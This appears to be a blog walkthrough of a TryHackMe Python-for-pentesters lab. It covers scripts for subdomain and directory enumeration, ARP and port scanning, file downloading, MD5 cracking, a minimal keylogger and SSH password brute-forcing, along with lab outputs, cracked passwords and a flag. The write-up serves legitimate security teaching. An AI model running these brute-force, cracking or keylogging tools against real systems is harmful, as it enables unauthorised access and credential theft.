This is where the fun begins!
This room is not intended to turn you into a Python master… as a penetration tester you do not need to become a full-fleged programmer, but having basic understanding and the ability to whip out a new tool or script to automate something is defintely a bonus!
Task 1 – Introduction
Python can be the most powerful tool in your arsenal as it can be used to build almost any of the other penetration testing tools.
As mentioned in the description above, this room does not intend to teach you everything you need to know about Python, but will give you pointers on which you can build and improve. The example "tools" we will be building in this room are only one way of writing code to get the intended result, they are not "the only" or necessarily "the correct" way of doing so either – the goal is to build quick and effective tools that will help in our daily tasks.
Throughout this room we will learn how to:
- Use Python to enumerate the target’s subdomain
- Build a simple keylogger
- Scan the network to find target systems
- Scan any target to find the open ports
- Download files from the internet
- Crack hashes
Any code you will find in this room can be compiled using simple tools such as and sent to the target system.
What other tool can be used to convert Python scripts to Windows executables?
Task 2 – Subdomain Enumeration
One of the best features to a pentester using Python is it’s ability to automate tasks – any tasks that has to be performed regularly is worth automating, and Python makes that easy!
Finding subdomains used by the target organization is an effective way to increase the attack surface and discover more vulnerabilities.
The will use a list of potential subdomains (that we provide) and prepend them to the domain name provided, then try to connect to each subdomain via http – if it gets a connection back then it reports the subdomain as "valid".
NOTE: the person who created this room not only failed to attach the
subdomains.txtlist (and it’s not even on the AttackBox as promised), but there is also a lack of detail on the box in the room (as in the hostname)… so assuming that we had to use this script against the box in the room, I re-wrote the list from the screenshot ofsubdomains.txt, and then I had to add the IP to/etc/hostsand set it totarget.thm. I got no results back, I even ran it against thewordlist2.txt, but when I ran it against tryhackme.com it did work. This could be due to the way vhosts are setup on the web server.
SOURCE >> sub_enum.py
#!/usr/bin/env python3
import requests
import sys
sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
Code Breakdown!
Unlike the previous room, this won’t break down EVERYTHING, just the new things that appear on the way… 🙂
NOTE: these breakdowns are additional to the room, you won’t find this in there! In saying that though, this is my understanding of the code, I don’t 100% guarantee it is correct!
- Let’s break it down:
- The very first line of this code is not actually Python code, nor is it a comment even though it begins with
#(though it is according to Python luckily) – this is known as a "shebang". This points your shell to the correct program to run it with, and allows you to mark your Python code file viachmodwith+xpermissions, meaning instead of typingpython3 sub_enum.pyyou can call it simply by typing./sub_enum.py sub_listis set as a pointer to the wordlist (make sure that file exists!), however the command also ends in.read()– this means it’s reading the contents of the file directly into the variable, rather than just being a pointer to the file that we would have to.read()elsewhere anyway… saving us a line of code!subdomsis using.splitlines()to read each line into it’s own string in a list. This is how we load data for use in aforloop.- The string being set on
sub_domainshas an intentionalfbefore the opening quotation mark – this is a relatively new (Python 3.6+) method of formatting strings called an f-string. Prepending the string withfyou enable the new formatting method, that allows you to reference variables in a much cleaner way. This code is using{}brackets to signify what variable it wants in it’s place, but there are plenty of other methods, and things you can do in between those brackets… - the rest of the code is an extension on what we have learned so far in the way of
forloops. This code usestry:/except:/else– basically turning each iteration of the loop into anifstatement, but with a difference… This is because of the way thatrequestsare handled – when you userequests.get()it doesn’t just returntrueorfalseas a standardifstatement requires, if an error occursrequestsstores that outcome as a "boolean" in a.ConnectionError– so as the code shows above, it willtry:to request a connection tosub_domains,exceptif thatrequestwas a.ConnectionErrorwe willpassthis iteration of the loop (skip the rest of theforloop to the next loop),else:we print the successful connection in a message to the user, ensuring they know whatsub_domainwas successful. This method is good if there is only one situation, but we will touch on more later…
- The very first line of this code is not actually Python code, nor is it a comment even though it begins with
What other protocol could be used for subdomain enumeration?
What function does Python use to get the input from the command line?
Task 3 – Directory Enumeration
As it is often pointed out, reconnaissance is one of the most critical steps to the success of a penetration engagement. Once subdomans have been discovered, the next step would be to find directories (or files).
SOURCE >> dir_enum.py
import requests
import sys
sub_list = open("wordlist2.txt").read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)
Code Breakdown
- OK let’s break it down!:
- The code in this project compared to the last is very similar… the first important change is in
dir_enum– instead of searching for subdomains we are "supposedly" searching for directories… however, notice the.htmlat the end of the URL? This is actually intentional for scanning the target box for this task, but if you want to turn this into a real directory scanner, switch out that.htmlfor a/ - The second change in this project is how the
forloop is handled… because the request has been put into the variablerwe can then useif/elseto do our check… we are passing ifr.status_codeis equal to404–r.status_codeholds the HTTP response code,404is "file not found". Usingif/elif/ … /elseyou could extend this loop to respond to multiple conditions for data returned fromr… or anything else you dream!
- The code in this project compared to the last is very similar… the first important change is in
Here is an example of how we could extend that loop:
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
print("404 - NOT FOUND!:", dir_enum)
elif r.status_code==403:
print("403 - FORBIDDEN!:", dir_enum)
elif r.status_code==302:
print("302 - MOVED TEMP:", dir_enum)
elif r.status_code==301:
print("302 - MOVED PERM:", dir_enum)
else:
print(f"{r.status_code} - IS OK?! >> {dir_enum}")
Scanning the target…
Ok so using this script against the target box in this room we get 4 hits:
❯ ./direnum.py 10.10.75.155
Valid directory: http://10.10.75.155/surfer.html
Valid directory: http://10.10.75.155/private.html
Valid directory: http://10.10.75.155/apollo.html
Valid directory: http://10.10.75.155/index.html
surfer.html
Titled "Notes for Matt", this page contains logins and passwords … to what I have no idea!
# Notes for Matt
## Passwords set are:
- Password for Madhatter set to MyCupOfTea
- Password for Rabbit set to LOUSYRABBO
- Password for Alice set to OnWithTheirHeads
## Users created are:
- tiffany
- daniel
- jim
- mike
private.html
This is your run-of-the-mill login form… none of the credentials under "Passwords" above are valid…
apollo.html
A short crpyto string… MD5 actually, reads rainbow.
cd13b6a6af66fb774faa589a9d18f906
How many directories can your script identify on the target system? (extensions are .html)
What is the location of the login page?
Where did you find a cryptic hash?
Where are the usernames located?
What is the password assigned to Rabbit?
Task 4 – Network Scanner
Python could easily be used to build a simple ICMP (Internet Control Message Protocol) scanner to "ping"a host to see if it is online, but the problem with that is ICMP is either disabled, blocked or set to not respond on most systems / firewalls these days. If we are scanning a local network, it is much more effective to use ARP (Address Resolution Protocol) to identify other targets on the network.
SOURCE >> arp_scan.py
from scapy.all import *
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
Code Breakdown
- Let’s break it down! :
- For usage sake, you need to update
interfaceandip_rangeto suit your network… e.g.interface= "eth0"andip_range = "192.168.68.0/24"– you can leavebroadcastMacalone… packetis holding the destination packet details – it basically equates to Ethernet pack tobroadcastMac, type of packet is ARP going toip_rangeans, unansseems to be setting two different variables depending on the outcome…ansis for packets that get an answer,unansis for failures. It callssrp()fromscapythat seems to send the ARP packet we declared previously, with atimeoutof2, to theinterfacewe entered above, theinterswitch I don’t quite know at this point…- The
forloop looks for any that matchsendorreceiveinansand prints the results. - The
print()function forks off to a special output fromscapycalledsprintf()that can properly format the data received… in this case it prints the MAC address with%Ether.src%and the IP with%ARP.psrc%(both seemingly referencing the source address that it received a response packet from).
- For usage sake, you need to update
What module was used to create the ARP request packets?
Which variable would you need to change according to your local IP block?
What variable would you change to run this code on a system with the network interface named ens33?
Task 5 – Port Scanner
And now for one of the most popular enumeration methods – a port scanner!
SOURCE >> port_scanner.py
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)
ip = '192.168.1.6'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
Code Breakdown
- Breakdown time!:
- This time we are using
socket, making TCP connections to test if the ports are accepting connections. Ignore thatpyfigletimport… it’s responsible for that massive ugly banner! - Now is probably as good a time as any to mention that you don’t actually need to declare imports one per line – you could shorten the top 3 lines to
import sys,socket,pyfiglet - The
ipvariable needs to be modified to change the target ip… eww! open_ports =[]starts an empty list inside theopen_portsvariable, this is where the script will store the open ports for output at the end.portssets therange()from1to65535– to scan all ports- The
probe_portfunction checks a given ip and port and returns whether it was open (0) or closed (1)… also notice the at the end of thedef–, result = 1. Thats not a required value, it is setting the value ofresultto1before the loop begins (which is a fail)… let’s dive a bit deeper though: - The
try:block sets up asocketusingsock(), sets a timeout on that socket for0.5seconds then setsrto point to thesock.connect_ex()which connects to the port it is scanning on the IP set above.- If
r == 0(meaning it got a connection to the port) it sets theresultvariable to0as well (what the function returns). The socket is closed withsock.close()either way.
- If
- The
exceptblock is called ifException(ase– not relevant) istrue, this means something went wrong with the connection, so it simplypasses to the end of the function. - Finally, the function returns it’s
result. - The
forloop is pretty easy to understand – it loops through each port and simply setsresponseto the result ofprobe_porton the current port… if it equals0it appends the port to theopen_portslist. - The final
ifstatement simply either prints the list of open ports, or that it didn’t find anything.
- This time we are using
BONUS >> port_skam.py
I couldn’t help but overhaul this one a little…
#!/usr/bin/env python3
import sys,socket,pyfiglet
ascii_banner = pyfiglet.figlet_format("portSKAM")
print(ascii_banner)
if len(sys.argv) > 1:
ip = sys.argv[1]
else:
print(f" USAGE >> {sys.argv[0]} <IP-ADDRESS>")
print("")
sys.exit()
ports = range(1, 65535)
c = 0
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
print(str(port) + " / ", end="", flush=True)
sock.close()
except Exception as e:
pass
return result
print(f" TARGET >> {ip}")
print(" PORTS OPEN >> ", end="", flush=True)
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
c = c + 1
print(f"** {c} PORTS FOUND OPEN **")
Quick Bonus Breakdown
- Let’s look at the main differences:
- I ditched that super long banner for a simple
"portSKAM"… looks better. 😉 - Instead of hard-coding an IP, we want a script that we can choose the IP at runtime – the
ifstatement checks the length of the command line, if it is larger than1it grabs the IP from the command line arguments, if not, it prints a quick usage and quits. - Directly under the
portsrange, we setc = 0– this is our open port count. - An eagle-eye would have noticed an extra
print()in theprobe_portfunction… this prints the found port on the screen, but the key additions are, end="", flush=True– this means when it prints the currentport(with a leading " / ") it doesn’t end the line with a new line (end="") and theflush=Trueensures Python prints that text immediately… this is by default so if you want to build up a text line before printing it to output you can, but the way this is used it will keep printing to the same line and show what it is adding as it goes…. the intended effect is that as soon as it finds a port, it prints it directly to screen and you don’t have to wait until the end to find out what is open. - The second
printf()line above theforloop is actually the start of the line where it will print ports… or not! - The
forloop is almost identical to the previous version, except we replaceappendof ports toopen_ports(which is gone from this version), we increase our countcby1. - The last line, instead of the previous
ifstatement will simply print how many ports open it found, and it will end up at the end of thePORTS OPEN >>line… if no ports are found then all the user will see is** 0 PORTS FOUND OPEN **, or additionaly that0will include how many it did find open.
- I ditched that super long banner for a simple
Example Bonus Output
❯ ./port_scanner.py 192.168.68.121
_ ____ _ __ _ __ __
_ __ ___ _ __| |_/ ___|| |/ / / \ | \/ |
| '_ \ / _ \| '__| __\___ \| ' / / _ \ | |\/| |
| |_) | (_) | | | |_ ___) | . \ / ___ \| | | |
| .__/ \___/|_| \__|____/|_|\_\/_/ \_\_| |_|
|_|
TARGET >> 192.168.68.121
PORTS OPEN >> 1716 / 8088 / 43339 / 54102 / 55572 / 59914 / 60490 / ** 7 PORTS FOUND OPEN **
What protocol will most likely be using TCP port 22?
What module did we import to be able to use sockets?
What function is likely to fail if we didn't import sys?
How many ports are open on the target machine?
What is the highest port number open on the target system?
Task 6 – File Downloader
On Linux, we have wget or curl – on Windows, we have certutil or a range of PowerShell methods…
Python can download files too! 🙂
SOURCE >> web_dl.py
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
The code above uses the requests library to download url via requests.get() and uses open() to write the file to disk.
- You could shorten this to one line like this:
python -c 'import requests; r = requests.get("<URL>"); open("<OUT_FILE>", "wb").write(r.content)'
(replace <URL> with url to file, <OUT_FILE> to the filename to save to)
BONUS >> webdl.py
… or we could extend it to make it universal!
import sys
import requests,fnmatch
if len(sys.argv) > 2:
url = sys.argv[1]
outfile = sys.argv[2]
else:
print(f"[-] USAGE >> {sys.argv[0]} <URL> <OUT-FILE>")
print("")
sys.exit()
print(f"Downloading: {url}")
r = requests.get(url, allow_redirects=True)
open(outfile, 'wb').write(r.content)
if r.status_code==404:
print("404 - NOT FOUND! >> ", url)
elif r.status_code==403:
print("403 - FORBIDDEN! >> ", url)
elif fnmatch.filter(str(r.status_code), '5??'):
print("{r.status.code} - SERVER ERROR! >> ", url)
else:
print(f"DONWLOAD COMPLETE - saved as: {outfile}")
There is no real need for a breakdown on this one… this has all been explained before!
What is the function used to connect to the target website?
What step of the Unified Cyber Kill Chain can PSexec be used in?
NOTE: although there was links to
PsExecincluded in this task (as it was used as an example to download), I tried to google "Unified Cyber Kill Chain" to try to find the correct answer for this… turns out this is not actually one of the "default" steps… take that for whatever you wish.
Task 7 – Hash Cracker
A hash is often used to safeguard passwords and other important data. As a penetration test, you may need to find the cleartext value for several different hashes. The hashlib library in Python allows you to build hash crackers according to your requirements quickly.
hashlib is a powerful module that supports a wide range of algorithms:

Ignoring some of the more "exotic" ones you will see in the list above, hashlib will support most of the commonly used hashing algorithms.
SOURCE >> hash_cracker.py
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
Code Breakdown
- Let’s take a look at this…
input()is used to take input from the user to give the hash and wordlisthash_obis used to store the md5 encryptedlineusinghashlib.md5()hashed_passis set to the encoded data in hexadecimal format- … the rest is pretty straight forward.
BONUS >> craxMD5.py
import sys
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("craxMD5")
print(ascii_banner)
if len(sys.argv) > 2:
wordlist = sys.argv[1]
pw_hash = sys.argv[2]
else:
print(f"[-] USAGE >> {sys.argv[0]} <WORDLIST> <HASH>")
print("")
sys.exit()
print(f"WORDLIST >> {wordlist}")
print(f" HASH >> {pw_hash}")
with open(wordlist, 'r') as file:
for line in file.readlines():
print('CHECKING >> ', line.strip(), end='\x1b[1K\r')
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == pw_hash:
print(' FOUND >> ' + line.strip())
exit(0)
print(' FAILED >> no matches found!')
What is the hash you found during directory enumeration?
What is the cleartext value of this hash?
Modify the script to work with SHA256 hashes and find the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
Task 8 – Keyloggers
Here is the source to the world’s simpilest keylogger:
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
This will record all keypresses until the user hits Enter – then it plays back everything it recorded.
If you don’t have the keyboard module, install with pip3 install keyboard.
What package installer was used?
What line in this code would you change to stop the result from being printed on the screen?
Task 9 – SSH Brute Forcing
Python is a powerful language with a plethora of modules available that further enhance it’s capabilities. Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
The example below shows one way to build an SSH password brute force attack script. As with everything in the programming world, there is rarely a "correct" way of doing something, and being that as a penetration tester we are not aiming to become programming masters, our aim is to simply create programs that do what we need for the current task.
SOURCE >> ssh_bf.py
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
Code Breakdown
- Not much to say on this one, note the
ssh_connectfunction for a basic usage ofparamiko– in particular, thessh.ssh_missing_host_keyPolicy(paramiko.AutoAddPolicy())line – this simply tellsparamikothat if the target is new and we haven’t accepted it’s certificate yet, to automatically accept it. The rest is pretty self-explanatory…
Questions answered
❯ python3 ssh_bf.py 10.10.218.201 tiffany wordlist2.txt
_ _ ____ ____ _ _
| |__ _ __ _ _| |_ ___/ ___/ ___|| | | |
| '_ \| '__| | | | __/ _ \___ \___ \| |_| |
| |_) | | | |_| | || __/___) |__) | _ |
|_.__/|_| \__,_|\__\___|____/____/|_| |_|
WORDLIST >> wordlist2.txt
TARGET IP >> 10.10.218.201
USER >> tiffany
FOUND PASS >> trustno1
❯ ssh tiffany@10.10.39.148
The authenticity of host '10.10.39.148 (10.10.39.148)' can't be established.
ED25519 key fingerprint is SHA256:FJZNNeeh64wHhjKrH/aNyKxKS5B2gm0t+kK5EcXBpiM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.39.148' (ED25519) to the list of known hosts.
tiffany@10.10.39.148's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Nov 30 08:15:53 UTC 2021
System load: 0.0 Processes: 94
Usage of /: 4.8% of 29.02GB Users logged in: 0
Memory usage: 18% IP address for eth0: 10.10.39.148
Swap usage: 0%
129 packages can be updated.
78 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jun 28 13:00:46 2021 from 10.9.2.216
$ cat flag.txt
THM-737390028
